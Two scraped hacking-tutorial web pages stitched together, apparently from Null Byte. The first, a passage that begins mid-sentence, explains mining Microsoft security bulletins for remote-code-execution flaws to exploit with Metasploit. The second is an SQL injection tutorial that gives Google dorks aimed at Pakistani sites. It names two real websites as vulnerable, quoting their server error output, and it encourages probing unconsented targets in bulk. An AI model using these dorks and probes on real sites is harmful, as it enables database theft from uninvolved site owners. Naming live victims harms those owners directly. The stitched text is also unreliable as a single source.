vulnerabilities in Microsoft's security bulletins. How nice!Step 2: Search the Database by Microsoft Vulnerability NumberThe Microsoft security bulletins are an easily searched database. You can search it by product, date range or security bulletin number. If you go back and look atsome of my Metasploit tutorials, you will notice that I've used an exploit in Metasploitmany,manytimesthat's named ms08_067_netapi. That number is the Microsoft security bulletin number. Themsstands for Microsoft, of course, the08stands for the year the vulnerability was unveiled, 2008, and the 067 means it was 67th vulnerability acknowledged by Microsoft that year. If we search Microsoft's security bulletins for that vulnerability, this is what we find.Notice that this vulnerability is named "Vulnerability in Server Service Could allow Remote Code Execution". Remote code execution is exactly what we are looking for. It allows listeners/rootkits to be installed and executed remotely. This obviously includes our rootkit of choice, Metasploit's meterpreter. When we click on it, we get the complete report.We can see that Microsoft provides us (thank you, Bill!) will an executive summary of the exploit and tells which of their systems are vulnerable. If we page down we can see a list of all affected files and operating systems.Step 3: Search Vulnerabilities by ProductIf we are looking for vulnerabilities in a particular product, we can use this database and search by product. For instance, if I was looking for a vulnerability in Microsoft's Lync (this is Microsoft's enterprise-level instant messaging, VOIP, and video conferencing server with special security features), I can simply select Lync and this database will show me all the vulnerabilities of that product. Here's the most recent vulnerability found in Microsoft's Lync product that "allows for remote code execution" Yeah!We'll be checking out some of the other resources for finding vulnerabilities, hacks and exploits in future tutorials, so stay tuned.Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHack Like a Pro:How to Exploit and Gain Remote Access to PCs Running Windows XPHack Like a Pro:How to Find Almost Every Known Vulnerability & Exploit Out ThereHack Like a Pro:How to Exploit Adobe Flash with a Corrupted Movie File to Hack Windows 7Hack Like a Pro:How to Hack Windows Vista, 7, & 8 with the New Media Center ExploitHack Like a Pro:How to Exploit IE8 to Get Root Access When People Visit Your WebsiteHow To:Top 10 Exploit Databases for Finding VulnerabilitiesHack Like a Pro:Hacking Windows XP Through Windows 8 Using Adobe Flash PlayerHow To:Hack Lets You Fully Activate a Bootleg Copy of Windows 8 Pro for FreeHow to Hack Like a Pro:Getting Started with MetasploitHack Like a Pro:How to Use Hacking Team's Adobe Flash ExploitHack Like a Pro:How to Find Exploits Using the Exploit Database in KaliHow to Hack Like a Pro:Hacking Windows Vista by Exploiting SMB2 VulnerabilitiesHack Like a Pro:Using Nexpose to Scan for Network & System VulnerabilitiesHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesNews:How to Study for the White Hat Hacker Associate Certification (CWA)News:Hack the Switch? Nintendo's Ready to Reward You Up to $20,000Hack Like a Pro:Using the Nmap Scripting Engine (NSE) for ReconnaissanceHack Like a Pro:How to Hack the Shellshock VulnerabilityNews:WannaCry Ransomware Only Works if You Haven't Updated Your Computer in MonthsHack Like a Pro:How to Hack Web Apps, Part 5 (Finding Vulnerable WordPress Websites)News:'Metaphor' Exploit Threatens Millions of Android Devices—Here's How to Stay SafeHow To:Use NMAP 7 to Discover Vulnerabilities, Launch DoS Attacks and More!How to Hack Windows 7:Sending Vulnerable Shortcut FilesHack Like a Pro:How to Spy on Anyone, Part 1 (Hacking Computers)How To:Scan for Vulnerabilities on Any Website Using NiktoHow to Hack Databases:Hunting for Microsoft's SQL ServerNews:Flaw in Facebook & Google Allows Phishing, Spam & MoreHack Like a Pro:Hacking Samba on Ubuntu and Installing the MeterpreterHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Mac OS X Hit Again! How to Find and Delete the New SabPub MalwareEasily Access MS Tutorials:Microsoft's Desktop PlayerWeekend Homework:How to Become a Null Byte ContributorIPsec Tools of the Trade:Don't Bring a Knife to a GunfightGoodnight Byte:HackThisSite, Realistic 3 - Real Hacking SimulationsHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsRoot Exploit:Memodipper Gets You Root Access to Systems Running Linux Kernel 2.6.39+ |
SQL Injection Finding Vulnerable Websites.. « Null Byte :: WonderHowTo | Welcome Back !! TheGeeks.SQL Injection (SQLI) Part-1I hope you all enjoyed my previous article on Email spoofing, if not you'll can go to my profile and check it.My this article totally different from previous one. In this article i'll be teaching how to find vulnerable websites for SQL injection.SQL injection is a code injection technique, used to attack data-driven applications. The SQL Injection attack allows external users to read details from the database, so attackers can dump whole website database and find admin username/password details.Note: Unfortunately we CANNOT SQLi attack on all websites. The websites need a SQLi vulnerability in order to do this technique.Website URL need a parameter like php?id=4 / php?id=any number to inject.For example:http://www.example.com/products.php?id=5www.example.com/products.php?id=5<= This type of website is needed in order to do this trickTo Find these type of website, Use Google Dorks- dork will advance search on googleSome Pakistan google Dorks list:gallery.php?id= site:.pkproducts.php?id= "+92"cat.php?id= "+92"default.php?catID="+92"There is no limit in dork list, you can make your own google dork with keywords. Or you search on google for "New Google Dorks List" you will get many results.Here you can findhttp://pastebin.com/Tdvi8vgK7000 google dork listsNote: These dorks will search out other countries websites Too, if you like to do this to Pakistan based websites ADD site:.pk at the end of the dork for example: about.php?cartID= site:.pkOnce you find a website, then you can check for SQLi vulnerability.Put an ' (Apostrophe) at the end of the URL Parameter.I found a websitehttp://www.piil.com.pk/new.php?id=25Let's, Check for SQLi Vulnerability, so i put an Apostrophe at the end of the URL Parameter.http://www.piil.com.pk/new.php?id=25' (if you are using google chrome... Apostrophe will change to %27, it doesn't matter)Now I found an error on this website!!!"Warning: mysqlfetcharray() expects parameter 1 to be resource, boolean given in /home/piilcom/publichtml/new.php on line 111"Sometimes, we can see different SQLi error. Sometimes we cannot see this error at all, but it you will show some changes in website.For examplehttp://www.psn.com.pk/index.php?page=gallery.php&id=519When i put an Apostrophe, The contents in that website got vanishedhttp://www.psn.com.pk/index.php?page=gallery.php&id=519'thank you,--ANAMIKA (TG)Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedBecome an Elite Hacker Part 4:Hacking a Website. [Part 1]SQL Injection 101:How to Fingerprint Databases & Perform General Reconnaissance for a More Successful AttackHow To:Use SQL Injection to Run OS Commands & Get a ShellSQL Injection 101:Advanced Techniques for Maximum ExploitationHow To:Compromise a Web Server & Upload Files to Check for Privilege Escalation, Part 1How To:SQL Injection! -- Detailed Introduction.SQL Injection 101:Database & SQL Basics Every Hacker Needs to KnowHow To:Hack websites with SQL injectionHow To:Hack Hackademic.RTB1 Machine Part 1SQL Injection 101:How to Avoid Detection & Bypass DefensesSQL Injection 101:Common Defense Methods Hackers Should Be Aware OfGoogle Dorking:AmIDoinItRite?How To:The Essential Newbie's Guide to SQL Injections and Manipulating Data in a MySQL DatabaseGoodnight Byte:HackThisSite, Realistic 4 - Real Hacking SimulationsHow To:Spider Web Pages with Nmap for SQLi VulnerabilitiesHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:Hack websites with SQL injection and WebGoatHow To:Protect Your PHP Website from SQL Injection HacksHow To:Use JavaScript Injections to Locally Manipulate the Websites You VisitHow Null Byte Injections Work:A History of Our Namesake |